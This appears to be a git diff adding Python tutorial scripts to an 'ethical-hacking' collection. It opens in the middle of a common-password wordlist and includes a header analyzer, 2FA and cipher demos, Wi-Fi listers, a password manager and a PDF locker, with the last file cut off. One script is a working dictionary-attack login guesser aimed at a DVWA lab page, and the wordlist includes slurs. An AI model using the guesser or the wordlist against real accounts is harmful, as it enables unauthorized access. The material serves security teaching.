+jamielee +jehovah +bunnyboo +bigmama +gogogo +baby11 +crybaby +joselito +fresas +Anthony +element1 +sexy16 +joselyn +monkey11 +xtreme +babygal +loraine +kameron +alonzo +tomato +lovehim +chiquito +suicide +minina +abegail +1truelove +alohomora +fraser +diamante +rasta +abigail1 +casino +JOSHUA +bhabycoh +tucker1 +pandabear +tracy +hellow +gavin +nikolas +computador +lissette +vernon +blanco +k123456 +wolfpack +henderson +a1234567 +baby01 +muneca +giovanna +edgardo +queenbee +jamila +jesusislord +magic1 +candys +yankees2 +Danielle +thelma +anaconda +roberts +jarvis +gerson +powder +chuchu +dixie1 +blink +hardrock +damnit +sexymama1 +sonny +dottie +ojitos +anahi +Jennifer +lilkim +horse1 +lucille +godsmack +jazzie +smith +JUNIOR +angel07 +young1 +honest +1029384756 +planet +chinese +hithere +lamborghini +Liverpool +ESTRELLA +soccer16 +western +castle +class08 +helloo +smile123 +murder +loveis +deleon +lobster +784512 +japanese +labrador +yomomma +seattle +steve1 +ilovecats +raymond1 +cutie123 +stephany +monmon +escorpio +balong +tanner1 +09876 +picasso +university +lloyd +pacheco +benjamin1 +foxylady +julian1 +alex12 +carola +chandra +smithy +stronger +alfie +lianne +sabrina1 +redsox1 +universal +jerson +336699 +kitty123 +wrangler +525252 +braveheart +JESUS +monserrat +happyday +JUSTIN +shadmoss +sandro +disney1 +princess11 +rosalie +roderick +224466 +jerico +nightwish +spencer1 +carlito +1a2b3c4d +BRANDON +cccccc +888999 +angie1 +alemania +angel23 +marques +loved1 +preety +celica +harriet +kendrick +januari +june23 +dolphins1 +campos +micah +sexyred +isaiah1 +amerika +...... +houston1 +tomcat +crimson +heavenly +lacrimosa +italian +heyheyhey +PRINCESA +rabbits +lilromeo +lickme +noelia +sausage +Tigger +zxcvbnm1 +andre1 +trojans +apache +durango +6543210 +spongecola +123456c +onelove1 +hotlips +sandman +super1 +milano +andreina +456654 +bigboy1 +steelers1 +honeyq +bangbang +nigger1 +newpassword +badboy1 +miller1 +jokers +teamomiamor +matilde +19841984 +dirtbike +tigger12 +iuliana +revolution +FUCKYOU +metallica1 +tekieromucho +jonatan +stewie +eugenia +summer05 +fantasia +321456 +wertyu +jellybeans +empire +june28 +1234554321 +speaker +natali +poetry +thesims2 +bball1 +ventura +abbie +sexysexy +muslim +rosalinda +soccer22 +holler +spotty +teodora +bling +janina +denis +chikis +francisca +212224236 +ferguson +chevy1 +thursday +rockets +orlandobloom +sweetypie +sagitarius +dixie +2222222 +2sweet +bonethugs +passions +wiggles +heidi +heroes +jamal +lingling +juliocesar +10203040 +j12345 +19881988 +yessica +lokito +beetle +ladybird +polarbear +chance1 +newnew +estrelinha +01234567 +twisted +brianne +homer +dreaming +powell +235689 +butterfly2 +sexkitten +losangeles +1234567a +sexygal +gidget +blueblue +brothers +19951995 +koolkat +nextel +missie +maryland +piscis +nathaly +123456t +samsung1 +soleil +dogdog +starfire +october1 +crips +1babygirl +bouncer +123456b +jimmie +westwood +#1bitch +rockandroll +slamdunk +brenda1 +michell +lalaland +hellohello +edith +fiona +gogirl +derick +atlantis +TIGGER +sirenita +love33 +phillips +bollocks +quiksilver +keepout +ihateyou1 +salman +daryl +playboy69 +leavemealone +iloveluke +44444444 +oxford +darkstar +consuelo +camilita +MIGUEL +limpbizkit +privacy +petewentz +sonic +inferno +gusanito +golfer +jayjay1 +princess01 +parrot +ducky +rasmus +inlove1 +kookie +biteme1 +karen1 +fernandes +zipper +smoking +brujita +toledo +abcdef12345 \ No newline at end of file diff --git a/ethical-hacking/http-security-headers/README.md b/ethical-hacking/http-security-headers/README.md new file mode 100644 index 00000000..e0e7b1d0 --- /dev/null +++ b/ethical-hacking/http-security-headers/README.md @@ -0,0 +1,2 @@ +Grab your API key from Open Router:- https://openrouter.ai/ +Model is Used is DeepSeek: DeepSeek V3.1 (free). However, feel free to try others. \ No newline at end of file diff --git a/ethical-hacking/http-security-headers/http_security_headers.py b/ethical-hacking/http-security-headers/http_security_headers.py new file mode 100644 index 00000000..67b494c4 --- /dev/null +++ b/ethical-hacking/http-security-headers/http_security_headers.py @@ -0,0 +1,149 @@ +#!/usr/bin/env python3 +import requests +import json +import os +import argparse +from typing import Dict, List, Tuple +from openai import OpenAI + +class SecurityHeadersAnalyzer: + def __init__(self, api_key: str = None, base_url: str = None, model: str = None): + self.api_key = api_key or os.getenv('OPENROUTER_API_KEY') or os.getenv('OPENAI_API_KEY') + self.base_url = base_url or os.getenv('OPENROUTER_BASE_URL', 'https://openrouter.ai/api/v1') + self.model = model or os.getenv('LLM_MODEL', 'deepseek/deepseek-chat-v3.1:free') + + if not self.api_key: + raise ValueError("API key is required. Set OPENROUTER_API_KEY or provide --api-key") + + self.client = OpenAI(base_url=self.base_url, api_key=self.api_key) + + def fetch_headers(self, url: str, timeout: int = 10) -> Tuple[Dict[str, str], int]: + """Fetch HTTP headers from URL""" + if not url.startswith(('http://', 'https://')): + url = 'https://' + url + + try: + response = requests.get(url, timeout=timeout, allow_redirects=True) + return dict(response.headers), response.status_code + except requests.exceptions.RequestException as e: + print(f"Error fetching {url}: {e}") + return {}, 0 + + def analyze_headers(self, url: str, headers: Dict[str, str], status_code: int) -> str: + """Analyze headers using LLM""" + prompt = f"""Analyze the HTTP security headers for {url} (Status: {status_code}) + +Headers: +{json.dumps(headers, indent=2)} + +Provide a comprehensive security analysis including: +1. Security score (0-100) and overall assessment +2. Critical security issues that need immediate attention +3. Missing important security headers +4. Analysis of existing security headers and their effectiveness +5. Specific recommendations for improvement +6. Potential security risks based on current configuration + +Focus on practical, actionable advice following current web security best practices. Please do not include ** and # +in the response except for specific references where necessary. use numbers, romans, alphabets instead Format the response well please. """ + + try: + completion = self.client.chat.completions.create( + model=self.model, + messages=[{"role": "user", "content": prompt}], + temperature=0.2 + ) + return completion.choices[0].message.content + except Exception as e: + return f"Analysis failed: {e}" + + def analyze_url(https://github.com/self,%20url:%20str,%20timeout:%20int%20=%2010) -> Dict: + """Analyze a single URL""" + print(f"\nAnalyzing: {url}") + print("-" * 50) + + headers, status_code = self.fetch_headers(url, timeout) + if not headers: + return {"url": url, "error": "Failed to fetch headers"} + + print(f"Status Code: {status_code}") + print(f"\nHTTP Headers ({len(headers)} found):") + print("-" * 30) + for key, value in headers.items(): + print(f"{key}: {value}") + + print(f"\nAnalyzing with AI...") + analysis = self.analyze_headers(url, headers, status_code) + + print("\nSECURITY ANALYSIS") + print("=" * 50) + print(analysis) + + return { + "url": url, + "status_code": status_code, + "headers_count": len(headers), + "analysis": analysis, + "raw_headers": headers + } + + def analyze_multiple_urls(self, urls: List[str], timeout: int = 10) -> List[Dict]: + """Analyze multiple URLs""" + results = [] + for i, url in enumerate(urls, 1): + print(f"\n[{i}/{len(urls)}]") + result = self.analyze_url(https://github.com/url,%20timeout) + results.append(result) + return results + + def export_results(self, results: List[Dict], filename: str): + """Export results to JSON""" + with open(filename, 'w') as f: + json.dump(results, f, indent=2, ensure_ascii=False) + print(f"\nResults exported to: {filename}") + +def main(): + parser = argparse.ArgumentParser( + description='Analyze HTTP security headers using AI', + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog='''Examples: + python security_headers.py https://example.com + python security_headers.py example.com google.com + python security_headers.py example.com --export results.json + +Environment Variables: + OPENROUTER_API_KEY - API key for OpenRouter + OPENAI_API_KEY - API key for OpenAI + LLM_MODEL - Model to use (default: deepseek/deepseek-chat-v3.1:free)''' + ) + + parser.add_argument('urls', nargs='+', help='URLs to analyze') + parser.add_argument('--api-key', help='API key for LLM service') + parser.add_argument('--base-url', help='Base URL for LLM API') + parser.add_argument('--model', help='LLM model to use') + parser.add_argument('--timeout', type=int, default=10, help='Request timeout (default: 10s)') + parser.add_argument('--export', help='Export results to JSON file') + + args = parser.parse_args() + + try: + analyzer = SecurityHeadersAnalyzer( + api_key=args.api_key, + base_url=args.base_url, + model=args.model + ) + + results = analyzer.analyze_multiple_urls(args.urls, args.timeout) + + if args.export: + analyzer.export_results(results, args.export) + + except ValueError as e: + print(f"Error: {e}") + return 1 + except KeyboardInterrupt: + print("\nAnalysis interrupted by user") + return 1 + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/ethical-hacking/http-security-headers/requirements.txt b/ethical-hacking/http-security-headers/requirements.txt new file mode 100644 index 00000000..f0dd0aec --- /dev/null +++ b/ethical-hacking/http-security-headers/requirements.txt @@ -0,0 +1 @@ +openai \ No newline at end of file diff --git a/ethical-hacking/implement-2fa/README.md b/ethical-hacking/implement-2fa/README.md new file mode 100644 index 00000000..8bbdbaec --- /dev/null +++ b/ethical-hacking/implement-2fa/README.md @@ -0,0 +1 @@ +# [How to Implement 2FA in Python](https://thepythoncode.com/article/implement-2fa-in-python) \ No newline at end of file diff --git a/ethical-hacking/implement-2fa/hotp.py b/ethical-hacking/implement-2fa/hotp.py new file mode 100644 index 00000000..78cd60bd --- /dev/null +++ b/ethical-hacking/implement-2fa/hotp.py @@ -0,0 +1,19 @@ +import pyotp + +# Set the key. A variable this time +key = 'Muhammad' +# Make a HMAC-based OTP +hotp = pyotp.HOTP(key) + +# Print results +print(hotp.at(0)) +print(hotp.at(1)) +print(hotp.at(2)) +print(hotp.at(3)) + +# Set counter +counter = 0 +for otp in range(4): + print(hotp.verify(input("Enter Code: "), counter)) + counter += 1 + diff --git a/ethical-hacking/implement-2fa/otp_qrcode_and_key.py b/ethical-hacking/implement-2fa/otp_qrcode_and_key.py new file mode 100644 index 00000000..f98c35f2 --- /dev/null +++ b/ethical-hacking/implement-2fa/otp_qrcode_and_key.py @@ -0,0 +1,27 @@ +# Program 1: Generate and Save TOTP Key and QR Code +import pyotp +import qrcode + + +def generate_otp_key(): + # Generate a random key for TOTP authentication. + return pyotp.random_base32() + + +def generate_qr_code(key, account_name, issuer_name): + # Generate a QR code for TOTP authentication. + uri = pyotp.totp.TOTP(key).provisioning_uri(name=account_name, issuer_name=issuer_name) + img = qrcode.make(uri) + img.save('totp_qr.png') + print("QR Code generated and saved as 'totp_qr.png'.") + + +# Main code. +# Generate user key. +user_key = generate_otp_key() +print("Your Two-Factor Authentication Key:", user_key) +# Save key to a file for reference purposes +with open('2fa.txt', 'w') as f: + f.write(user_key) +# Generate QR Code. +generate_qr_code(user_key, 'Muhammad', 'CodingFleet.com') diff --git a/ethical-hacking/implement-2fa/otp_verification.py b/ethical-hacking/implement-2fa/otp_verification.py new file mode 100644 index 00000000..03c1b51c --- /dev/null +++ b/ethical-hacking/implement-2fa/otp_verification.py @@ -0,0 +1,19 @@ +# Program 2: Verify TOTP Code with Google Authenticator +import pyotp + + +def simulate_authentication(key): + # Simulate the process of authenticating with a TOTP code. + totp = pyotp.TOTP(key) + print("Enter the code from your Google Authenticator app to complete authentication.") + user_input = input("Enter Code: ") + if totp.verify(user_input): + print("Authentication successful!") + else: + print("Authentication failed. Please try again with the right key.") + + +# Main Code +# The key should be the same one generated and used to create the QR code in Program 1 +user_key = open("2fa.txt").read() # Reading the key from the file generated in Program 1 (otp_qrcode_and_key.py) +simulate_authentication(user_key) diff --git a/ethical-hacking/implement-2fa/requirements.txt b/ethical-hacking/implement-2fa/requirements.txt new file mode 100644 index 00000000..3026cbce --- /dev/null +++ b/ethical-hacking/implement-2fa/requirements.txt @@ -0,0 +1,2 @@ +pyotp +qrcode \ No newline at end of file diff --git a/ethical-hacking/implement-2fa/totp.py b/ethical-hacking/implement-2fa/totp.py new file mode 100644 index 00000000..f67304db --- /dev/null +++ b/ethical-hacking/implement-2fa/totp.py @@ -0,0 +1,14 @@ +import pyotp + +# Generate a random key. You can also set to a variable e.g key = "CodingFleet" +key = pyotp.random_base32() +# Make Time based OTPs from the key. +totp = pyotp.TOTP(key) + +# Print current key. +print(totp.now()) + +# Enter OTP for verification +input_code = input("Enter your OTP:") +# Verify OTP +print(totp.verify(input_code)) \ No newline at end of file diff --git a/ethical-hacking/implement-affine-cipher/README.md b/ethical-hacking/implement-affine-cipher/README.md new file mode 100644 index 00000000..bdf8ac39 --- /dev/null +++ b/ethical-hacking/implement-affine-cipher/README.md @@ -0,0 +1 @@ +# [How to Implement the Affine Cipher in Python](https://thepythoncode.com/article/how-to-implement-affine-cipher-in-python) \ No newline at end of file diff --git a/ethical-hacking/implement-affine-cipher/affine_cipher.py b/ethical-hacking/implement-affine-cipher/affine_cipher.py new file mode 100644 index 00000000..3d2c904a --- /dev/null +++ b/ethical-hacking/implement-affine-cipher/affine_cipher.py @@ -0,0 +1,47 @@ +# Import necessary libraries. +import string +from colorama import init, Fore + +# Initialise colorama. +init() + + +# Function to perform Affine Cipher encryption. +def affine_encryption(plaintext, a, b): + # Define the uppercase alphabet. + alphabet = string.ascii_uppercase + # Get the length of the alphabet + m = len(alphabet) + # Initialize an empty string to store the ciphertext. + ciphertext = '' + + # Iterate through each character in the plaintext. + for char in plaintext: + # Check if the character is in the alphabet. + if char in alphabet: + # If it's an alphabet letter, encrypt it. + # Find the index of the character in the alphabet. + p = alphabet.index(char) + # Apply the encryption formula: (a * p + b) mod m. + c = (a * p + b) % m + # Append the encrypted character to the ciphertext. + ciphertext += alphabet[c] + else: + # If the character is not in the alphabet, keep it unchanged. + ciphertext += char + + # Return the encrypted ciphertext. + return ciphertext + + +# Define the plaintext and key components. +plaintext = input(f"{Fore.GREEN}[?] Enter text to encrypt: ") +a = 3 +b = 10 + +# Call the affine_encrypt function with the specified parameters. +encrypted_text = affine_encryption(plaintext, a, b) + +# Print the original plaintext, the key components, and the encrypted text. +print(f"{Fore.MAGENTA}[+] Plaintext: {plaintext}") +print(f"{Fore.GREEN}[+] Encrypted Text: {encrypted_text}") diff --git a/ethical-hacking/implement-affine-cipher/requirements.txt b/ethical-hacking/implement-affine-cipher/requirements.txt new file mode 100644 index 00000000..3d90aaa5 --- /dev/null +++ b/ethical-hacking/implement-affine-cipher/requirements.txt @@ -0,0 +1 @@ +colorama \ No newline at end of file diff --git a/ethical-hacking/implement-vigenere-cipher/README.md b/ethical-hacking/implement-vigenere-cipher/README.md new file mode 100644 index 00000000..16a5b7bd --- /dev/null +++ b/ethical-hacking/implement-vigenere-cipher/README.md @@ -0,0 +1 @@ +# [How to Implement the Vigenère Cipher in Python](https://thepythoncode.com/article/implementing-the-vigenere-cipher-in-python) \ No newline at end of file diff --git a/ethical-hacking/implement-vigenere-cipher/requirements.txt b/ethical-hacking/implement-vigenere-cipher/requirements.txt new file mode 100644 index 00000000..3d90aaa5 --- /dev/null +++ b/ethical-hacking/implement-vigenere-cipher/requirements.txt @@ -0,0 +1 @@ +colorama \ No newline at end of file diff --git a/ethical-hacking/implement-vigenere-cipher/vigenere_cipher.py b/ethical-hacking/implement-vigenere-cipher/vigenere_cipher.py new file mode 100644 index 00000000..52eef5da --- /dev/null +++ b/ethical-hacking/implement-vigenere-cipher/vigenere_cipher.py @@ -0,0 +1,88 @@ +# Import sys for system operations and colorama for colored output. +import sys +from colorama import init, Fore + +# Initialise colorama +init() + + +# Function to Encrypt using the Vigenère cipher. +def vigenere_encrypt(plain_text, key): + encrypted_text = '' + + # Repeat the key to match the length of the plaintext. + key_repeated = (key * (len(plain_text) // len(key))) + key[:len(plain_text) % len(key)] + + # Iterate through each character in the plaintext. + for i in range(len(plain_text)): + # Check if the character is an alphabet letter. + if plain_text[i].isalpha(): + # Calculate the shift based on the corresponding key letter. + shift = ord(key_repeated[i].upper()) - ord('A') + + # Encrypt uppercase and lowercase letters separately. + if plain_text[i].isupper(): + encrypted_text += chr((ord(plain_text[i]) + shift - ord('A')) % 26 + ord('A')) + else: + encrypted_text += chr((ord(plain_text[i]) + shift - ord('a')) % 26 + ord('a')) + else: + # If the character is not an alphabet letter, keep it unchanged. + encrypted_text += plain_text[i] + + # Return the final encrypted text + return encrypted_text + + +# Decryption function for the Vigenère cipher +def vigenere_decrypt(cipher_text, key): + decrypted_text = '' + + # Repeat the key to match the length of the ciphertext + key_repeated = (key * (len(cipher_text) // len(key))) + key[:len(cipher_text) % len(key)] + + # Iterate through each character in the ciphertext + for i in range(len(cipher_text)): + # Check if the character is an alphabet letter + if cipher_text[i].isalpha(): + # Calculate the shift based on the corresponding key letter + shift = ord(key_repeated[i].upper()) - ord('A') + + # Decrypt uppercase and lowercase letters separately + if cipher_text[i].isupper(): + decrypted_text += chr((ord(cipher_text[i]) - shift - ord('A')) % 26 + ord('A')) + else: + decrypted_text += chr((ord(cipher_text[i]) - shift - ord('a')) % 26 + ord('a')) + else: + # If the character is not an alphabet letter, keep it unchanged + decrypted_text += cipher_text[i] + + # Return the final decrypted text + return decrypted_text + + +key = "KEY" +# Get user input (Message to encrypt). +plaintext = input('[!] Enter your message: ') + +# Encrypt the plaintext using the Vigenère cipher +cipher_text = vigenere_encrypt(plaintext, key) + +# Print the results +print(f"[+] Plaintext: {plaintext}") +print(f"{Fore.GREEN}[+] Ciphertext: {cipher_text}") + +# Ask if user wants to decrypt the message (just to see the functionality.) +ask_to_decrypt = input('\n\n[?] Do you want to decrypt the message?\n[?] Y or N: ').lower() + +# If user wants to. +if ask_to_decrypt == 'y': + # Decrypt the ciphertext back to the original plaintext. + decrypted_text = vigenere_decrypt(cipher_text, key) + print(f"{Fore.GREEN}[+] Decrypted text: {decrypted_text}") + +# If user does not want to. +elif ask_to_decrypt == 'n': + sys.exit() +# When an invalid input is entered. +else: + print(f"{Fore.RED}[-] Invalid input.") diff --git a/ethical-hacking/listing-wifi-networks/README.md b/ethical-hacking/listing-wifi-networks/README.md new file mode 100644 index 00000000..3e9d37a5 --- /dev/null +++ b/ethical-hacking/listing-wifi-networks/README.md @@ -0,0 +1 @@ +# [How to List Wi-Fi Networks in Python](https://thepythoncode.com/article/list-nearby-wifi-networks-with-python) \ No newline at end of file diff --git a/ethical-hacking/listing-wifi-networks/open_networks_lister.py b/ethical-hacking/listing-wifi-networks/open_networks_lister.py new file mode 100644 index 00000000..7b089fb8 --- /dev/null +++ b/ethical-hacking/listing-wifi-networks/open_networks_lister.py @@ -0,0 +1,88 @@ +import subprocess, platform, re +from colorama import init, Fore + +init() + + +def list_open_networks(): + # Get the name of the operating system. + os_name = platform.system() + + # Check if the OS is Windows. + if os_name == "Windows": + # Command to list Wi-Fi networks on Windows. + list_networks_command = 'netsh wlan show networks' + try: + # Execute the command and capture the output. + output = subprocess.check_output(list_networks_command, shell=True, text=True) + networks = [] + + # Parse the output to find open Wi-Fi networks. + for line in output.splitlines(): + if "SSID" in line: + # Extract the SSID (Wi-Fi network name). + ssid = line.split(":")[1].strip() + elif "Authentication" in line and "Open" in line: + # Check if the Wi-Fi network has open authentication. + networks.append(ssid) + + # Check if any open networks were found. + if len(networks) > 0: + # Print a message for open networks with colored output. + print(f'{Fore.LIGHTMAGENTA_EX}[+] Open Wifi networks in range: \n') + for each_network in networks: + print(f"{Fore.GREEN}[+] {each_network}") + else: + # Print a message if no open networks were found. + print(f"{Fore.RED}[-] No open wifi networks in range") + + except subprocess.CalledProcessError as e: + # Handle any errors that occur during the execution of the command. + print(f"{Fore.RED}Error: {e}") + # Return an empty list to indicate that no networks were found. + return [] + + elif os_name == "Linux": + try: + # Run nmcli to list available Wi-Fi networks. + result = subprocess.run(["nmcli", "--fields", "SECURITY,SSID", "device", "wifi", "list"], + stdout=subprocess.PIPE, + text=True, check=True) + + # Access the captured stdout. + output = result.stdout.strip() + + # Define a regex pattern to capture SSID and Security. + pattern = re.compile(r'^(?P[^\s]+)\s+(?P.+)$', re.MULTILINE) + + # Find all matches in the output. + matches = pattern.finditer(output) + + # Skip the first match, which is the header. + next(matches, None) + print(f"{Fore.LIGHTMAGENTA_EX}[+] Open Wifi networks in range: \n") + # Loop through all matches (results) + for match in matches: + security = match.group('security') + ssid = match.group('ssid') + full_match = f"{Fore.GREEN}[+] SSID: {ssid} -------> Security: {security}" + # Check if the indicator of an open network in our Full match (result). + if "Security: --" in full_match: + print(f"{Fore.GREEN}[+] {ssid}") + else: + print(f"{Fore.RED}[-] No open Wifi networks in range.") + + except subprocess.CalledProcessError as e: + print(f"Error running nmcli: {e}") + except Exception as e: + print(f"An error occurred: {e}") + + else: + print(f"{Fore.RED}Unsupported operating system.") + return [] + + +# Call the function. +list_open_networks() + + diff --git a/ethical-hacking/listing-wifi-networks/requirements.txt b/ethical-hacking/listing-wifi-networks/requirements.txt new file mode 100644 index 00000000..3d90aaa5 --- /dev/null +++ b/ethical-hacking/listing-wifi-networks/requirements.txt @@ -0,0 +1 @@ +colorama \ No newline at end of file diff --git a/ethical-hacking/listing-wifi-networks/wifi_networks_lister.py b/ethical-hacking/listing-wifi-networks/wifi_networks_lister.py new file mode 100644 index 00000000..5bed2c91 --- /dev/null +++ b/ethical-hacking/listing-wifi-networks/wifi_networks_lister.py @@ -0,0 +1,32 @@ +import subprocess, platform + + +# Get the name of the operating system. +os_name = platform.system() + +# Check if the OS is Windows. +if os_name == "Windows": + # Command to list Wi-Fi networks on Windows using netsh. + list_networks_command = 'netsh wlan show networks' + + # Execute the command and capture the result. + output = subprocess.check_output(list_networks_command, shell=True, text=True) + + # Print the output, all networks in range. + print(output) + +# Check if the OS is Linux. +elif os_name == "Linux": + # Command to list Wi-Fi networks on Linux using nmcli. + list_networks_command = "nmcli device wifi list" + + # Execute the command and capture the output. + output = subprocess.check_output(list_networks_command, shell=True, text=True) + + # Print the output, all networks in range. + print(output) + +# Handle unsupported operating systems. +else: + # Print a message indicating that the OS is unsupported (Not Linux or Windows). + print("Unsupported OS") diff --git a/ethical-hacking/login-password-guesser/README.md b/ethical-hacking/login-password-guesser/README.md new file mode 100644 index 00000000..820e63f6 --- /dev/null +++ b/ethical-hacking/login-password-guesser/README.md @@ -0,0 +1 @@ +# [How to Make a Login Password Guesser in Python](https://thepythoncode.com/article/make-a-login-password-guesser-in-python) \ No newline at end of file diff --git a/ethical-hacking/login-password-guesser/login_password_guesser.py b/ethical-hacking/login-password-guesser/login_password_guesser.py new file mode 100644 index 00000000..1934a747 --- /dev/null +++ b/ethical-hacking/login-password-guesser/login_password_guesser.py @@ -0,0 +1,24 @@ +import requests, sys +from colorama import Fore, init + +init() + +def guess_password(target_url, username, wordlist_path, action_type): + parameters = {"username": username, 'password': '', 'Login': action_type} # Create a dictionary 'parameters' with username, empty password, and action_type. + # Open the file containing our wordlist 'rockyou.txt' for reading. + with open(wordlist_path, 'r') as word_list: + # Loop through each word in the wordlist. + for each_word in word_list: + word = each_word.strip() # Remove whitespace from the word. + parameters['password'] = word # Set the password parameter to the current word. + # Send an HTTP POST request to the target_url with the current 'parameters'. + output = requests.post(target_url, data=parameters) + # Check if the response content does not contain "Login failed". + if 'Login failed' not in output.content.decode('utf-8'): + # If the condition is met, print a success message with the found password. + print(f"{Fore.GREEN} [+] Password Found! >>> {word} ") + sys.exit() # Exit the script. + # If no password is found after iterating through the wordlist, print a failure message. + print(f"{Fore.RED} [-] Password not found.") + +guess_password("http://192.168.134.129/dvwa/login.php", 'admin', 'C:\\Users\\muham\\Documents\\wordlists\\rockyou.txt', 'submit') \ No newline at end of file diff --git a/ethical-hacking/login-password-guesser/requirements.txt b/ethical-hacking/login-password-guesser/requirements.txt new file mode 100644 index 00000000..9f404795 --- /dev/null +++ b/ethical-hacking/login-password-guesser/requirements.txt @@ -0,0 +1,2 @@ +colorama +requests \ No newline at end of file diff --git a/ethical-hacking/password-manager/README.md b/ethical-hacking/password-manager/README.md new file mode 100644 index 00000000..ec1aef1b --- /dev/null +++ b/ethical-hacking/password-manager/README.md @@ -0,0 +1 @@ +# [How to Build a Password Manager in Python](https://thepythoncode.com/article/build-a-password-manager-in-python) \ No newline at end of file diff --git a/ethical-hacking/password-manager/password_manager.py b/ethical-hacking/password-manager/password_manager.py new file mode 100644 index 00000000..9b9ec184 --- /dev/null +++ b/ethical-hacking/password-manager/password_manager.py @@ -0,0 +1,204 @@ +import json, hashlib, getpass, os, pyperclip, sys +from cryptography.fernet import Fernet + + +# Function for Hashing the Master Password. +def hash_password(password): + sha256 = hashlib.sha256() + sha256.update(password.encode()) + return sha256.hexdigest() + + +# Generate a secret key. This should be done only once as you'll see. +def generate_key(): + return Fernet.generate_key() + + +# Initialize Fernet cipher with the provided key. +def initialize_cipher(key): + return Fernet(key) + + +# Function to encrypt a password. +def encrypt_password(cipher, password): + return cipher.encrypt(password.encode()).decode() + + +# Function to decrypt a password. +def decrypt_password(cipher, encrypted_password): + return cipher.decrypt(encrypted_password.encode()).decode() + + +# Function to register you. +def register(username, master_password): + # Encrypt the master password before storing it + hashed_master_password = hash_password(master_password) + user_data = {'username': username, 'master_password': hashed_master_password} + file_name = 'user_data.json' + + if os.path.exists(file_name) and os.path.getsize(file_name) == 0: + with open(file_name, 'w') as file: + json.dump(user_data, file) + print("\n[+] Registration complete!!\n") + else: + with open(file_name, 'x') as file: + json.dump(user_data, file) + print("\n[+] Registration complete!!\n") + + +# Function to log you in. +def login(username, entered_password): + try: + with open('user_data.json', 'r') as file: + user_data = json.load(file) + + stored_password_hash = user_data.get('master_password') + entered_password_hash = hash_password(entered_password) + + if entered_password_hash == stored_password_hash and username == user_data.get('username'): + print("\n[+] Login Successful..\n") + else: + print("\n[-] Invalid Login credentials. Please use the credentials you used to register.\n") + sys.exit() + + except Exception: + print("\n[-] You have not registered. Please do that.\n") + sys.exit() + + +# Function to view saved websites. +def view_websites(): + try: + with open('passwords.json', 'r') as data: + view = json.load(data) + print("\nWebsites you saved...\n") + for x in view: + print(x['website']) + print('\n') + except FileNotFoundError: + print("\n[-] You have not saved any passwords!\n") + + +# Load or generate the encryption key. +key_filename = 'encryption_key.key' +if os.path.exists(key_filename): + with open(key_filename, 'rb') as key_file: + key = key_file.read() +else: + key = generate_key() + with open(key_filename, 'wb') as key_file: + key_file.write(key) + +cipher = initialize_cipher(key) + + +# Function to add (save password). +def add_password(website, password): + # Check if passwords.json exists + if not os.path.exists('passwords.json'): + # If passwords.json doesn't exist, initialize it with an empty list + data = [] + else: + # Load existing data from passwords.json + try: + with open('passwords.json', 'r') as file: + data = json.load(file) + except json.JSONDecodeError: + # Handle the case where passwords.json is empty or invalid JSON. + data = [] + + # Encrypt the password + encrypted_password = encrypt_password(cipher, password) + + # Create a dictionary to store the website and password + password_entry = {'website': website, 'password': encrypted_password} + data.append(password_entry) + + # Save the updated list back to passwords.json + with open('passwords.json', 'w') as file: + json.dump(data, file, indent=4) + + +# Function to retrieve a saved password. +def get_password(website): + # Check if passwords.json exists + if not os.path.exists('passwords.json'): + return None + + # Load existing data from passwords.json + try: + with open('passwords.json', 'r') as file: + data = json.load(file) + except json.JSONDecodeError: + data = [] + # Loop through all the websites and check if the requested website exists. + for entry in data: + if entry['website'] == website: + # Decrypt and return the password + decrypted_password = decrypt_password(cipher, entry['password']) + return decrypted_password + + return None + + +# Infinite loop to keep the program running until the user chooses to quit. +while True: + print("1. Register") + print("2. Login") + print("3. Quit") + choice = input("Enter your choice: ") + + if choice == '1': # If a user wants to register + file = 'user_data.json' + if os.path.exists(file) and os.path.getsize(file) != 0: + print("\n[-] Master user already exists!!") + sys.exit() + else: + username = input("Enter your username: ") + master_password = getpass.getpass("Enter your master password: ") + register(username, master_password) + + elif choice == '2': # If a User wants to log in + file = 'user_data.json' + if os.path.exists(file): + username = input("Enter your username: ") + master_password = getpass.getpass("Enter your master password: ") + login(username, master_password) + else: + print("\n[-] You have not registered. Please do that.\n") + sys.exit() + # Various options after a successful Login. + while True: + print("1. Add Password") + print("2. Get Password") + print("3. View Saved websites") + print("4. Quit") + + password_choice = input("Enter your choice: ") + if password_choice == '1': # If a user wants to add a password + website = input("Enter website: ") + password = getpass.getpass("Enter password: ") + + # Encrypt and add the password + add_password(website, password) + print("\n[+] Password added!\n") + + elif password_choice == '2': # If a User wants to retrieve a password + website = input("Enter website: ") + decrypted_password = get_password(website) + if website and decrypted_password: + # Copy password to clipboard for convenience + pyperclip.copy(decrypted_password) + print(f"\n[+] Password for {website}: {decrypted_password}\n[+] Password copied to clipboard.\n") + else: + print("\n[-] Password not found! Did you save the password?" + "\n[-] Use option 3 to see the websites you saved.\n") + + elif password_choice == '3': # If a user wants to view saved websites + view_websites() + + elif password_choice == '4': # If a user wants to quit the password manager + break + + elif choice == '3': # If a user wants to quit the program + break diff --git a/ethical-hacking/password-manager/requirements.txt b/ethical-hacking/password-manager/requirements.txt new file mode 100644 index 00000000..c10ec962 --- /dev/null +++ b/ethical-hacking/password-manager/requirements.txt @@ -0,0 +1,2 @@ +cryptography +pyperclip \ No newline at end of file diff --git a/ethical-hacking/pdf-locker/README.md b/ethical-hacking/pdf-locker/README.md new file mode 100644 index 00000000..26db7776 --- /dev/null +++ b/ethical-hacking/pdf-locker/README.md @@ -0,0 +1 @@ +# [How to Lock PDFs in Python](https://thepythoncode.com/article/lock-pdfs-in-python) \ No newline at end of file diff --git a/ethical-hacking/pdf-locker/pdf_locker.py b/ethical-hacking/pdf-locker/pdf_locker.py new file mode 100644 index 00000000..9f92c704 --- /dev/null +++ b/ethical-hacking/pdf-locker/pdf_locker.py @@ -0,0 +1,39 @@ +# Import the necessary libraries +import PyPDF2, getpass # getpass is for getting password with some level of security +from colorama import Fore, init + +# Initialize colorama for colored output +init() + + +# Function to lock pdf +def lock_pdf(input_file, password): + with open(input_file, 'rb') as file: + # Create a PDF reader object + pdf_reader = PyPDF2.PdfReader(file) + + # Create a PDF writer object + pdf_writer = PyPDF2.PdfWriter() + + # Add all pages to the writer + for page_num in range(len(pdf_reader.pages)): + pdf_writer.add_page(pdf_reader.pages[page_num]) + + # Encrypt the PDF with the provided password + pdf_writer.encrypt(password) + + # Write the encrypted content back to the original file + with open(input_file, 'wb') as output_file: + pdf_writer.write(output_file) + + +# Get user input +input_pdf = input("Enter the path to the PDF file: ") +password = getpass.getpass("Enter 